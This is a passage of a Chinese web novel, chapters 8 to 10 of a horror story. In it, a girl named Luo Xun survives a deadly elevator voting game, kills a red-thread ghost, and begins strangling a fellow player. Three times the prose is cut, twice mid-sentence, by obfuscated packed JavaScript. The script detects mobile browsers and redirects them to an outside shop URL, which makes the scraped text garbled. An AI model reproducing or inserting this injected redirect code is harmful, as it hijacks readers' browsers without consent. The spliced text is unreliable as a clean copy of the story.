黑暗降临,所有人的声音都在一瞬间消失。 投给谁!!? 你到底要投给谁?快点告诉我啊!!! 根本来不及为切断感知的黑暗感到恐慌,焦急立刻就填满了骆寻的内心。 她觉得自己就像被丢进了一口煮沸的大锅,滚烫的热水将她包围,淹没了她的头顶,她拼了命地想游出去,却怎么都碰不到锅沿—— 「00:04:59」 「您当前寿命余额已不足五分钟,请立即击杀鬼怪取得余额!!!」 「00:05:00」 「00:04:59」 「您当前寿命余额已不足五分钟,请立即击杀鬼怪取得余额!!!」 寿命余额又仿若出现bug般跳动,与上次不同的是,这次还多出了一个警告。 每当余额跳进四分钟,警告都会跟着再跳出来一次。 啧,人工智障。 看着黑暗中仅剩的红字,骆寻尽可能地想让自己不要焦虑,焦虑就会正中白领女的下怀……但她不可能真的完全忽视寿命余额系统的警告。 事实上,在今日之前,骆寻甚至从来都不敢让余额低于三十分钟。 可现在呢?余额眼看着就要归零了,只剩下最后的五分钟——余额归零的那一刹会发生什么?会死吗? 她能赶在余额归零前赢得游戏吗?游戏真的会实现她的心愿吗? ……她到底是怎么走到这一步来的? 想不清了。如果非要去回忆,骆寻只能记起无数的血肉断肢,哀嚎惨叫,还有真正意义上的血雨腥风……中间夹杂着她亲爱的同伴,她无法割舍的唯一——那张毛茸茸的可爱脸庞。 真想再抱抱它,真想再感受一下它的温度啊。 想起那份冰冷的重量,包裹住骆寻的沸水就如同被拽开了闸门般,一刹泄去。升腾的蒸汽、鼓噪的水泡、滚烫的气温,都消失了。 只剩下彻骨的寒凉。 她必须要在余额归零前赢得游戏。 只有游戏才能实现她的心愿。 恰逢其时,一道微弱的电流声忽而划破静寂。 “滋滋……” 骆寻知道,投票环节到了。 除却电流声以外,四周依然静悄悄的。 她抬起头,其余人的身影都好似蒙了层雾般模糊,唯有头顶显示屏上的文字清晰可见。 【请选择你想要审判的对象!】 【00:00:59】 冰冷沉甸的重量没有回到怀中,双腿仿若深陷泥沼般被禁锢得动弹不得,只有上半身可以自由活动。 而这份自由也相当局限——再怎么弯腰伸长臂膀,那些人影都如隔云端,难以触及。 黑暗,是只属于魔鬼的狩猎时刻。 上一轮也是这样……骆寻深吸了口气,不再挣扎,静静伸手指向了那些人影。 【你是否要选择‘李明尘’作为审判对象?】 【你是否要选择‘方璇’作为审判对象?】 【你是否要选择‘陈静慧’作为审判对象?】 【请确认你的选择。】 【……】 投完票,黑暗也再度降临。 不知过去了究竟多久,依然是灯光还未亮起,感知便率先回笼。 仿佛身处垃圾场般浓烈的腐臭味直冲鼻间,令骆寻忍不住干呕,想要立即捏紧鼻子,可这一动,她忽然意识到——怎么有两份重量正压在她身上? 一份冷冰冰的,在怀中;还有一份温热的,在肩头。 沉重的,一动不动的……就像有一个人正倚靠着她一样。 “好臭……什么味道啊?”有点嘶哑,但很明显的男声,这是李明尘的声音。 白领女的尖叫没有响起,老太太的诵念也没有响起,除他之外,只有一道粗沉的喘息声,“呼哧、呼哧”,像是某种野兽在大口掠夺空气,响在轿厢的另一方角落。 一种不太好的预感顿时萦绕在骆寻心头,她立即转过了头——刚刚好,她与肩上的那东西四目相对。 说是四目相对并不恰当,因为那东西实际上是闭着眼睛的。 昏暗的光线下,她的皮肤就仿佛融化的蜡油,面皮耷拉着,上面布满了丑陋的纹路;她的鼻子和嘴唇就快要融为一体,以至于有半边牙齿都参差不齐地露在外面;她的脸红通通的,是一种充血后的、鲜艳的红色,这让她看起来更像是一颗正在腐烂的红苹果了。 苹果的脖子上系着一根同样鲜艳的红色细线,垃圾般的腐臭味正是源自于此。 细看之下,红线分明勒紧了苹果,可它们又都一动不动,瞧着分外安详。 骆寻怔怔伸出手——红线居然是断的,只轻轻一拽,它便连带着老太太的尸体一同倒向了地面。 “咚!”地一声闷响。 显示屏的红光,也在这一刻重新闪烁了起来。 大段文字浮现其上: 【第二轮审判对象:陈静慧 一○七四年,六月○日,审判对象出生于村中卫生所,母亲因产后出血而过世。 …… 一○九零年,由于父亲病逝,失去经济支撑,审判对象被迫从高中退学。 …… 一○九二年,在镇上打工的审判对象意外结识张□,二人彼此倾慕,很快坠入爱河。 在张□的支持下,审判对象报名成人高中,重修学业。 …… 一○九四年,审判对象随张□回到王家村见父母,在张家,审判对象终于又一次体会到了家庭的温暖。 一○九五年,审判对象通过考试,与张□考入同一所专业学院。 十二月○日,二人在王家村举行婚礼,设流水席宴请宾客,共收取礼金两千四百二十九块五毛钱。 当夜,张家人因醉酒早早休息,岂料同村混混王□□、孙□、□□,竟趁夜深潜入院中,意图偷盗礼金。在翻找过程中,三人不慎撞翻房中喜烛,引燃周边装饰用红布,导致火势迅速蔓延。 当审判对象因浓烟呛醒时,一切都已经晚了。 新婚丈夫张□已陷入重度昏迷,公婆姑姊亦在火场中失去回音,审判对象奋力将张□拖至门边求救,最终却也因体力不支、吸入过量烟气晕厥。 审判 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342977|199446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对象后被赶来的村民救出,经送医抢救,虽保住性命,但全身多处重度烧伤。张家则满门皆丧生火海。 …… 一○九六年一月,根据施□所提供的目击线索,当地派出所对案件展开调查。经侦查取证,公安机关对在逃犯罪嫌疑人王□□、孙□、□□三人发布全国通缉令。 …… 二○零一年,审判对象从落网的孙□口中得知,火灾还有另外一人参与,此人正是好心提供线索的施□。 …… 二○二五年,十月六日,经过精心筹备后,审判对象向改名后的施□发送短信邀请,将其骗至国际大厦。 …… 经过投票环节,陈静慧获得三票意见,她接受了审判。】 【魔鬼杀死了她。】 三票意见。 也就是说,四个人,只有骆寻把票投给了白领女。 老太太就像她曾经说过的、她愿意接受审判一样,自己给自己投了一票。 骆寻觉得这有点好笑,但她低下头,看着地面上的陈静慧,又一点也笑不出来。 一张照片从陈静慧原本合拢的掌心滑落。那是一张黑白的双人合照,四边泛着老旧的黄,看大小,应当是用在结婚证上面的。 照片里,一个年轻灵秀的女人,一个年轻羞赧的男人,正亲昵地头挨着头。她们上一秒或许还在小声地耳语,谈论未来的期许;下一秒,摄影师说了什么,她们微笑着齐齐看向镜头。 照片外,陈静慧的尸体倒在地上,红光一明一灭,把她脸颊映得愈发红润。她闭着眼,眼尾的褶皱堆叠,微微上扬,她完好的那半边嘴角也带着抹上扬的弧度。 她的微笑就像照片里一样,也像她的眼瞳一样,浅且淡,平静且包容,幸福而且安详。 她好像只是睡着了,只是去赴一场好梦。 “神明保佑,请接引我前往您的神国……” “有些事情早便已经注定……这就是你想要的吗?”骆寻有些不知所措地喃喃,“原来,你不是奶奶啊。” 七四年生人,她跟骆寻的妈妈其实差不多岁数。她甚至也没大李柏几岁。 干枯树皮似的手背,苍老狰狞的脸庞,佝偻瘦弱的身躯……原来都是因为火灾,而不是因为时间。 …… 【很遗憾,审判对象陈静慧并不是魔鬼。】 【魔鬼已经显形,你们找到祂了吗?现在,请进行第三轮审判!】 【第三轮审判:00:04:59】 「00:04:58」 头顶上的审判倒计时与视网膜上的寿命余额,终于还是来到了同一时刻。 “那这是你想要的吗,李市政?”脑子里的思绪很乱,骆寻不太想去指责什么了,她只是静静地抬起头,“现在,我们该把票投给……” 话音倏然一顿,骆寻对上了李明尘那张写满惊恐的、苍白的脸。 那张脸上的表情其实很难只用“惊恐”来形容,他就像是被双无形的手扼住脖颈般,张着嘴,却根本发不出任何声音。 而他目光所向之处——赫然是骆寻怀中。 骆寻怔怔地,又低下了头。 怀里,她的外套在不知什么时候被打开了。 8. 电梯有鬼8 轿厢之中,几道深黑的身影各自矗立,脸庞模糊。 【请勿攻击与本轮审判无关的人员!】 “啊!!” 一声凄厉的尖叫忽而响起,然而几道身影却仿佛什么也没听见,全无反应。 疼,好疼啊!! 方璇捂着空荡荡、沾满了血污的袖管,脑袋里只剩下这一种感受。 若不是她动作快,立刻就断臂求生,她还能不能继续站在这都得是两说! 【请尽快杀死本轮审判对象:陈静慧】 【00:07:32】 规则可不会管她刚刚究竟经历了什么,红色倒计时无情地闪烁,就像暗夜里逃生出口的微光般,不断催促着她行动。 方璇猛而咬紧牙关,瞪向了那害她至此的东西。 那东西被其中一个模糊的人影抱在怀中,身上散发着一股格外香甜的味道,就好像在说:吃掉我吧,吃掉我……吃掉我你就会变得更强大…… 可当她真的出手,一片黑暗里,方璇只看见自己断裂的肢体正在被那东西吞噬。 “该死的,该死的!!” 都怪那个叫骆寻的女孩!她**到底把什么玩意儿带进电梯了!? 不行,不能再管那么多了!她得活下去,她必须要活下去……她好不容易才从上一轮游戏中活下来!她不想变成和其他人一样的肉泥!! 不能招惹怀疑,不能擦汗,不能让血沾到脸上……快点,只要撑过这最后一轮就好了! 方璇强忍痛意,又漫出红线,缠绕上唯一拥有清晰脸庞的那个人的脖颈。 “老人”的脸上带着抹浅淡的微笑,全然没有察觉到危险的靠近。 她是如此静谧,如此安详,令方璇觉得自己的痛苦被衬托得分外可笑。 ——好不甘心啊!! 凭什么她只能杀死得票最多的人?陈静慧一死,灯光亮起,所有人不就都会知道她方璇才是魔鬼了吗!? 凭什么,凭什么,凭什么!都怪那个女孩,她才是真正该死的人! 她才是魔鬼,她才该是魔鬼啊!! 断裂的臂膀处红丝乱舞,痛意阵阵,方璇心底渐渐催生出一个疯狂的想法。 红丝们说: 让她成为魔鬼吧。 让她连带着她怀里的怪物,代她去死吧。 反正她该死!所有人都该死!! 只要撑过下一轮,取得游戏的胜利,她失去的全部都会再回来! 红线蓦然收紧,黑暗正在消退,方璇心一横,干脆地绞断了自己的另一根手臂! 痛到极点的尖叫湮灭在灯亮起前,最后一刹的黑暗之中—— 【第三轮审判:00:04:44】 “你、你怀里的是什么?” 伴随着白领女尖细的、混杂着喘息的声音,骆寻垂眼望去。 率先映入眼帘的,是一团切口整齐截断的红线。 就像是放大版的、钓鱼用的饵虫,根根条条,密密麻麻地抱成了团,充斥在骆寻的外套之中。 它们泛着湿润的色泽,颜色艳丽;它们在寻找什么,根须四散,伸得好长;它们好像又在逃离什么,每一根都呈波浪形、疯狂地蠕动着…… 盯着这团红线看久了,人会感到眼花缭乱,头晕脑胀。 骆寻却依然不躲不闪,只是静静看着。 ……她怎么会是这个反应? 尖叫、崩溃、狡辩,都可以啊!怎么会是这个反应!? 一口气卡在胸腔,上不去,下不来,双臂还在传来剧痛……一时半刻无法用手指认,方璇只能尽力再拔高声音:“你!是你杀了她们!” “你杀了李柏,还有陈静慧!原来是你!!!” 痛失臂膀让她的胸脯剧烈起伏着,也让她的声音就像漏了气、到处乱飞的气球般,低不成高不就,卡在半空生生折磨着人的耳朵。 方璇不知道,她此刻的脸色白得有多么吓人,她此刻的身形,又有多么的诡异。 生怕自断的这只臂膀又被那东西转瞬吞噬,不留痕迹,那样她的努力就全都白费了,方璇只能在绞断臂膀的同时立即主动结束黑暗。可这样一来,留给她调整状态的时间就非常少了,几乎约等于无。 此刻,她瞧着万分虚弱地靠在墙边,可身板却因痛觉绷得笔直;两臂藏于身后,乍看无异,细看之下,衬衫袖管却在以一种不正常的弧度扭曲…… 骆寻留意到了这份诡异,目光在她的袖管与几根断裂的红线间徘徊了半晌,她忽然反应过来。 “你在栽赃我?” 方璇:“……” 卡着的那口气更加吐不出来了。 骆寻其实就是没反应过来,她不知道该怎么评价白领女的这种行为。 头一次遇见这么聪明……又这么愚蠢的鬼怪。 看方璇姑且还保持着人形,骆寻斟酌了一下口吻:“下次做事情之前,你先看看你自己吧。” “还给你。”骆寻一把薅住了怀中的红线,想丢回给方璇,可出人意料的是—— 她没拽动。 一股巨大的力赫然牵扯在红线的另一端,下面好像还有着什么东西,死活不愿撒手,不让分毫! 骆寻顿了下,而就在她停顿的这一秒钟里——一团灰粉色的肉猛然自外套下方翻涌了上来,就像无情的风暴卷起海浪,一刹吞掉飘摇的小船般,肉也一口吃掉了红线。 若非骆寻眼疾手快放开了红线,她的手指多半也要像白领女的手臂一样遭殃。 所有人都震撼地看着那团长着灰毛,不停蠕动着,像史莱姆一样不成型的粉色肉块! 外套里的东西终于现出了真形,可那到底是什么? 骆寻也解释不清,她甚至一时间不知是该为它的苏醒高兴,还是该为它的面目全非惊慌。 她的同伴,它明明很可爱的……几天前还很可爱呢! “……别什么都乱吃啊。”她最终崩溃地试图重新裹紧外套,“骆翠花!你看看你都把自己吃成什么样子了!” “骆翠花”显然对骆寻的话非常不满,“咕噜、咕噜”,几个浅粉色的肉泡在它身上鼓起,就如同火山中沸腾的岩浆气泡般汩汩。 又听“噼——嗝——”地一声,三两根断掉的红线被它零零落落吐了出来,凄惨地掉在地面。 这行为就好像在说:吃你点东西怎么了,至于吗?还给你! 骆寻:“……” 骆寻更崩溃了,裹紧外套的动作加快。 她能感觉到,李明尘和白领女的目光皆正死死地钉在她身上。 怎么就醒在这个时候?翠花的病果然愈发严重了……只有游戏能救它,她可绝对不能乱。 可就仿佛知道她在想什么,偏要作对一般,粉色的肉不断从外套缝隙淌出,叫骆寻怎么裹都裹不住。 “呕……!”李明尘终于再难承受眼前的一切,干呕出声。 “……”骆寻一急,干脆把整件外套都翻了个个,抓住两边的衣袖,迅速抽紧打结——做完这一切,她勉强扯出笑脸,看向另外两人。 然后,她意识到了自己有多么欲盖弥彰,和白领女相比不过是半斤对八两。 可事情都已经这样了,而游戏还未结束……骆寻只能硬着头皮跟李明尘说:“它叫翠花,它生病了才会变成这样,我参加游戏就是为了它……游戏能够实现心愿,不是吗?” “啊!!”方璇的尖叫在这时又盖过了她的话音,“魔鬼已经显形,你,还有你怀里的那个怪物……你们就是魔鬼!!” 骆寻脸上本就是勉强扯出的笑意霎时沉了下去。 不过她没有看向白领女,只依然定定地盯着李明尘:“李市政,假如这真的是最后一轮投票……你必须要好好想想我上一轮说过的话。” 方璇:“早在第一轮我们就该把你投出去!我早该想到的,你怀里藏着一个怪物!!” 骆寻:“李市政,你自己看看她的袖子,看看这勒死人的红线到底来自于谁!” 方璇:“我是被她咬伤的啊!在黑暗里,她跟那个怪物想要把我也一同杀死!” 骆寻:“是谁一直想要陈静慧出局?陈静慧是魔鬼吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342978|199446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?李市政,你还要再错下去吗!?” 两次的错判,让李明尘的大脑在此刻几乎一片空白。 他捂住嘴的手不住颤抖,目光同样颤颤,在这个狭窄的轿厢之中,他甚至不知道该望向何方。 头顶,仅余三分钟的最后倒计时闪着赤色的锋芒。地面,李柏与陈静慧的尸体拥挤地交错,令人无处下脚。 面前,一个是黑发的怪异少女,她怀中抱着团烂肉似的怪物;一个是脸色惨白的白领女人,她的袖管里空荡荡的,红色在里面影影绰绰,不知是灯光的映射,还是真有什么东西在蠕动…… 事情怎么就变成了这样? 究竟有谁是真正可以相信的?他究竟该怎么做? 【第三轮审判:00:03:13】 「00:03:13」 「您当前寿命余额已不足五分钟,请立即击杀鬼怪取得余额!!!」 骆寻等不下去,更顾不了那么多了。 她干脆两步上前,一把将白领女按在墙壁上,一手捂着她的嘴,另一手则直接撕开了她的衬衫袖管——反正她又没有手反抗。 影影绰绰的红凝成了实物,只见属于人类的手臂断面上,没有血液,没有白骨,更没有肌腱,只有散发着浓烈腐臭味的、像虫子一样的红线在摆动飞舞! “看清楚了吗?”骆寻说,“我的事等出去再说,现在时间不多,我们要找的是魔鬼,杀了人的魔鬼!想清楚了吗?” “李市政,救救我……帮帮我……”方璇被捂住嘴,只剩一双盈满了惊惧与泪水的眼睛露在外面,“我真的不是魔鬼,我不想死啊!” “呕……”李明尘又开始想吐。 【第三轮审判:00:02:49】 方璇也等不下去了。 李明尘显然是不中用了,不能再指望他。反正她最后投票,且投票时可以看见他人已得票数……她只要保证这两个人不会都投给自己就好了! 其它的……等投票的时候再说吧! 倏然间,方璇安静了下去,甚至连她胸口那剧烈的起伏都小了不少。 她不再哀求,不再悲泣……骆寻诧异回头,发现她正看着自己。 她其实从来都没有掩饰过她眼瞳中的红线。 当她望着她,那些红线也蠕动得更快,更疯狂,好像在为即将要做的事情而战栗,兴奋,甚至是恐慌。 “你刚刚说,游戏能够实现心愿?”方璇的声音从手心下传来,“妹妹,你要不要猜猜,我是如何变成现在这副模样的?” 她的语调是一种难得的、从未有过的平静。 “我也收到过那张传单——你是否已经走到绝路?你想逃离现在的人生吗?你想要重新开始吗?来吧,来赢得这场游戏,你会实现你的一切心愿!” “我的心愿是不再没命的工作,我希望拥有一具不再脱发、不再因熬夜心悸、不再有气无力……一具健康的、永远都不会改变的身体。”方璇左侧断臂的红线开始延伸,缠绕,捆绑……她的手臂竟然在眨眼间便重新长了出来。 她的脸色却愈发惨白了,“这就是游戏实现我心愿的方法。” 骆寻的瞳孔猛然一缩,她有一种预感,白领女接下来要说的话绝对不会是她想听见的。 “不……”她捂住那张嘴的手力气加重,可方璇的声音仍然避无可避地响起。 “你说得没错,我玩过这场游戏,我是上一轮的胜利者。”方璇高举起那只新生的手臂,“这就是游戏实现我心愿的方法!这就是你想要的吗!?” 伴随着话音落下,手臂也“砰”地一声四散,萎靡的红线如天女散花,又像彩带,怦然落在了骆寻的脸上。 鲜艳的,冰冷的,黏腻的…… 方璇的嗓音还在兀自拔高:“我被永远困在了这场游戏之中!不生不死,不人不鬼——这就是你想要实现的心愿吗!?” “游戏根本就无法实现心愿,不要再抱有不切实际的幻想了!” 骆寻的耳朵里嗡鸣一片。 她的心底好像有什么东西,在这一刻碎掉了。 9. 电梯有鬼9 游戏,根本就无法实现心愿? 就算取得了胜利,翠花也没有办法被医治?甚至连她自己,也会变成方璇这般的鬼怪? 「您当前寿命已不足三分钟!!!」 「00:02:08」 「检测到周围存在鬼怪,请立即击杀鬼怪!!!」 「检测到周围存在鬼怪,请立即击杀鬼怪!!!」 「检测到周围存在鬼怪,请立即击杀鬼怪!!!」 赤字转瞬便跳了满眼,又编织成一张密不透风的、红色的网膜,骆寻被拢在里面,喘不上气,更说不出话。 她的大脑乱成了一团,各种声音充斥在里面。 头顶的倒计时“滋滋”作响,李明尘在呕吐,白领女还在说着上一轮的游戏。 她说:“你想变成我这副模样吗?” 她眼睛里的红线终于还是爬了出来……不,不对,那是她的脸庞在崩坏。肉色的皮肤像掉漆的墙皮般脱落,下面是顺着肌肉纹理缠绕的红线,它们在不停地蠕动。 眼白,瞳仁,牙齿,甚至头发,都不见了。 只剩下一个血红的,由红丝组成,不停蠕动的人形怪物。 “你想变成我这副模样吗?” 不过转瞬,白领女的声音就像是被瓮罩住了一样浑浊。 骆寻的眼前只剩下一片血色,她根本分不清那究竟是游戏的倒计时红光,还是寿命余额系统的红字,亦或者是白领女身上舞动的红线…… 种种鲜红堆叠重复,剥夺了她的视觉。 而那些挤进大脑里的声音还在争鸣—— 游戏说: “它是满口谎言的恶鬼,你不该听她的!我就是你唯一的、最后的希望了,你必须要相信我!” “你难道还想再回到鬼城里去吗?你难道还想再继续杀戮吗?你难道想眼睁睁看着翠花变成怪物吗?!” 寿命余额系统说: “你的时间不多了,管它什么心愿,什么真假,你活着才是最重要的,你活着翠花才能活着!” “只有我才能让你活下去,你本来就没必要参加这场莫名其妙的游戏!” 最后,是白领女的声音: “不生不死,不人不鬼,困在这里永世不得超生!你想变成我这副模样吗?” “别再抱有不切实际的幻想了!!” 【第三轮审判:00:01:30】 「00:01:30」 「您当前寿命已不足两分钟!!!」 不知从何时起,骆寻的眼前就只剩下一个隐约的、中空的人形,软趴趴地撑起衬衫,像某种针织品,又像后现代主义的雕塑。而在它身后,红丝漫漫升起,攀上轿厢,编织成为一道巨大的赤红阴影。 轿厢是它的牢笼,也是它的腹腔。 令人作呕地腐臭味充斥在每一个角落,已经不需要再犹豫了。 “我……我会投给方璇。”李明尘的声音虚弱响起,“你别信她的,游戏都是有通关办法的!” 他终于做出了正确的决定,但可惜,他的声音实在是太小了。 红线挪动的窸窸窣窣,方璇的声音,已然无处不在。 “这位李市政投错了两次,你真的还要相信他吗?” “我……”李明尘完全无法为前两次的错判辩解。 该死的,你怎么总是一到关键时刻就出错啊!?快想想办法,再不想想办法你和那个新玩家就真的都要死在这了! 轮到他去争取票数了,李明尘这才知道自己之前的行为究竟有多么令人气急! 他抓耳挠腮,强忍着呕吐的欲望摸索全身,忽然,他碰触到了什么—— 对了! 一个黑色封皮的小本子被李明尘连忙拿了出来,高高举起。 “你不相信我,你总要相信这个!我是国家特政局,游戏特别……”话音未落,一团红线便猛然打了过来,缠住他的手脚,堵住了他的嘴! 【第三轮审判:00:01:02】 红线的口感和味道……都很难以用言语去形容。李明尘的胃里再度翻江倒海,他拼了命的挣扎,却连一句完整的话也说不出来。 “呜呜!!”李明尘绝望地睁着眼,只能就这么看另一端的红线轻轻拢着那个女孩。 方璇的声音飘忽而又柔和:“你不会投给我的,你不想变成我这副模样……你不想成为魔鬼,对不对?” “投给他吧。最起码,你们会获得真正的自由……” “吵死了。” 倏然间,李明尘瞪大了眼。 【第三轮审判:00:00:59】 「00:00:59」 「您当前寿命已不足一分钟!!!」 只见那女孩单手一把就捞过了耳畔的红线,她手上的动作很快,且力气惊人——轻轻一扯,红线居然就断了。 “不好意思啊。”而后,她惨白着一张脸,扯了下嘴角,“虽然很不想承认,但如果照你这么说……那我早就已经是魔鬼了。” 断、断了? 嘴里充斥着不可言喻的味道,身体被红线牢牢束缚,怎么也挣脱不开,李明尘只剩下不可置信。 【第三轮审判:00:00:45】 「00:00:45」 「请立即击杀鬼怪!!!」 “啊!!”红线断裂,方璇有着切实的痛感,而且她同样难以理解眼前正在发生的一切,“你要做什么!?” 做什么? 骆寻只是不想再纠结,不想再挣扎了。 “嗯,我才是魔鬼。这样事情就都说得通了。”她自言自语着垂下了眼帘,“所以请你去死吧,我需要你现在就去死。” 她一边说,一边手下的动作不停。红线在她手里,就仿佛真的只是普通织毛衣用的毛线,聚拢轻轻松松,缠绕轻轻松松,扯烂更是轻轻松松。 她的动作快得人眼花缭乱,红丝们甚至顾不上还手,一缕同伴死去,余下的立即便四散奔逃! 而就在此时,一抹灰粉色仿佛察觉到了什么,像水一样从外套的缝隙里淌了出来。 小零嘴! 趁着骆寻自顾不暇,所有没来得及躲远的红丝都被它有样学样,拢作一团——然后像吸面条一样,“咕噜”,一口吞! 【第三轮审判:00:00:33】 「00:00:33」 “你这样会毁了这场游戏的!!”骆寻的动作实在太快了,还有个不知名的怪物在帮忙,方璇甚至连怎么反抗都不知道,她只一昧继续高喊,“现在不是投票时间,不可以杀人啊!!” 骆寻顿了下,“你是人吗?你也不是人啊。” “你的心脏在哪呢?我想想,我找找——” 寿命余额已不足一分钟,赤色牢牢钉死在视网膜上,骆寻只能凭借着最原始的感知去活动。 她能感受到,身边的红线们正在迅速逃散……它们要逃去哪里?不是刚刚才布满轿厢吗? 她的耳畔只剩下了一种声音,那是她自己飞快的、快要跃出胸膛的心跳声。 逃回本体?那具空荡荡的人形吗? 「00:00:10」 管不了那么多了!赌一把吧! 「00:00:05」 骆寻的手,伸进了那件软趴趴站立的衬衫之中。 她摸到了一团小巧的、团成球的东西。 依然是冰凉的,黏腻的触感,可是又在微微搏动着。 「00:00:03」 “别!!” 白领女再度尖叫,声音几乎刺穿耳膜,骆寻却充耳不闻。 她用力捏紧了那团东西,猛地一扯—— 一股浓郁的恶臭霎时爆裂开来! 「00:00:01」 …… 「恭喜宿主杀死C级鬼怪*1,寿命余额增加,正在为您计算当前余额!」 「您当前寿命余额为:08:30:00」 「08:29:59」 她赌对了。 视野里满溢的赤色犹如潮水般褪去,只余下掌心一滩恶臭的猩红。 身边陡然静寂下来,不会再有窸窸窣窣的蠕动声,也不会再有尖细的女声拔高了……声音的主人已经死了。 白领女、方璇、红线鬼……她死了,或者说,它死了。 就像是一只布娃娃有了线头,被猛地一扯,整个就会散架,所有的红线都在刹那间软塌下去。 衬衫,长裤,皮鞋,它曾经拥有的纷纷掉落在地,它最后的人形也消失了。 「08:28:47」 寿命余额回到了安全的范畴之内,尘埃落定了,一切就像是做了一场梦。 好累,好想睡一觉啊。 骆寻闭上眼,体会着这来之不易的安宁。 直到一抹冰冰凉的温度从她的小臂,爬到手腕,再到掌心—— 骆寻又睁开了眼:“……骆翠花。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342979|199446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那顺杆而上的灰粉色顿时一僵,却半分不怵,风卷残云般掠过她的掌心,把余下的血水一扫而空,就迅速向外套里缩去! “你真的不能再乱吃东西了。”说是这么说,可吃都吃了,骆寻也没法再阻拦。 让翠花这么一闹,她也不得不回过神来。 鬼已经死了,那么游戏呢? 骆寻回身,电梯门依然牢牢关着,金属倒映着幽幽的红光。 头顶,显示屏上的红字不知在何时消失,取而代之的是一团乱码。 【#¥n……魔鬼*$2v……】 ……看不懂。 不过算了,无所谓了。 既然已经选择了再度杀戮,那么游戏究竟是真是假,对于骆寻来说也就不那么重要了。 被寿命余额系统所操控的她,和鬼怪根本就没有区别。 不能救翠花,那她就跟它当同类呗。 最坏也就这样,再坏还能坏到哪去呢? 先把寿命余额给的这八个小时活明白了再说吧。 譬如说……她该去哪儿找下一个八小时? 视线一转,骆寻的目光落向蜷缩在角落、满脸空白的李明尘身上。 他身上还挂着萎靡的红线,双手抱肩,喉头干哕,看起来还没能从眼前发生的一切中回神,正在深深地怀疑人生。 “李市政,已经不需要你再进行抉择了。”骆寻说。 李明尘:“呕……” 骆寻:“……” 她两步上前,跨过陈静慧尸体时微微停顿了一下。也就只有一下,骆寻迅速收回了目光,走过去拽着李明尘的衣领,一把就将他整个人都提了起来。 李明尘:“!?” 看着他脏兮兮、不知道沾的到底什么恶心东西的脸庞,骆寻又陷入了静默。 好不想跟他说话。 但该问的还是得问。 “你是老玩家,对吧?” 李明尘点头。 “那也就是说,还有别的游戏存在?” 李明尘迟疑了一下,有些诧异地看着她,然后才点头。 “你知道现在该怎么离开电梯吗?” 李明尘摇头。 这女孩葫芦里卖的什么药?方璇已是魔鬼无疑,但她……她怎么好像此前完全没有了解过“游戏”的样子? “游戏”降临现实可是已经三年了啊,全民皆知。 她到底是什么……? 骆寻身上的疑点同样不容小视,但在此刻,李明尘却不敢展露半分,他也万万不敢再以看待新玩家的目光去看待她了。 他小心翼翼地打量着骆寻,一场暴力而又迅捷的战斗下来,那女孩脸上居然没有沾到任何的血迹与灰尘。 那张脸上没什么多余的表情,颜色也还是那么浅淡,仿佛只剩下黑白两色。 ……她要怎么对待他? 他是不是该求下饶?可求饶真的有用吗? 李明尘的心跳比被红线堵住嘴时还要忐忑,他最终还是决定先求饶,可才刚刚开口——一股凉意便猛然袭上脖颈。 是一只冰凉有力的手。手指纤细,骨节却硬挺,抵在脉搏跳动处,分毫不差。 窒息感立即便传来,李明尘被迫仰起头,张大了嘴,可空气还是一点一点、无可避免抵溜走了。 “嗬、嗬……” 看着他竭尽全力地挣扎,女孩深黑的眼瞳里没有任何变化。 她自言自语着:“早知道,我第一轮就勒死你好了……” 桎梏着脖颈的手指就像一把坚不可摧的锁链,任他如何也无法反抗,李明尘的大脑因为缺氧,很快就陷入了阵阵眩晕。 为什么…… 为什么连求饶的机会都不给他? 游戏,显然已经结束了啊! 轿厢中的红光又开始闪烁,屏幕上的乱码飞快跳动着,重新组成了文字。 【恭喜……魔鬼……】 余光瞥见了轿厢中的变化,可由于视野的模糊,李明尘根本便难以看清具体的内容。 可他还是意识到了,那可能就是他眼下最后的生机! “嗬、嗬嗬!” 他一边用力抓着脖子上的那只手,希望死亡到来得再慢一点,一边拼尽全身最后的一点力气,抻长胳膊,指向电梯屏幕—— “咣当!” 就仿佛是当真有上天听到了他内心的哀求,就在此时,轿厢猛地晃动了一下! 巨大的声响从门的那边传来! 10. 特政局 “咣当!” 金属的门在震颤,簌簌灰尘直往下掉。 “咣当!!” 震颤的幅度越来越大,就像有一只庞大的怪物正在门外,不顾一切地只想要毁灭! “咣当!!!” 不锈钢的门板猛然凹进去一块,更多灰尘喷涌而入,金属的尖啸几乎就要刺穿人的耳膜! 地板也在跟着颤抖,失重感隐隐包裹上来,骆寻重心不稳,手一松,整个人就都砸在了电梯墙壁上! 后背被撞得生疼,但根本顾不及,骆寻绞尽脑汁地回忆——电梯失控时最佳的求生方法是什么来着? 稳住重心,减少冲击? 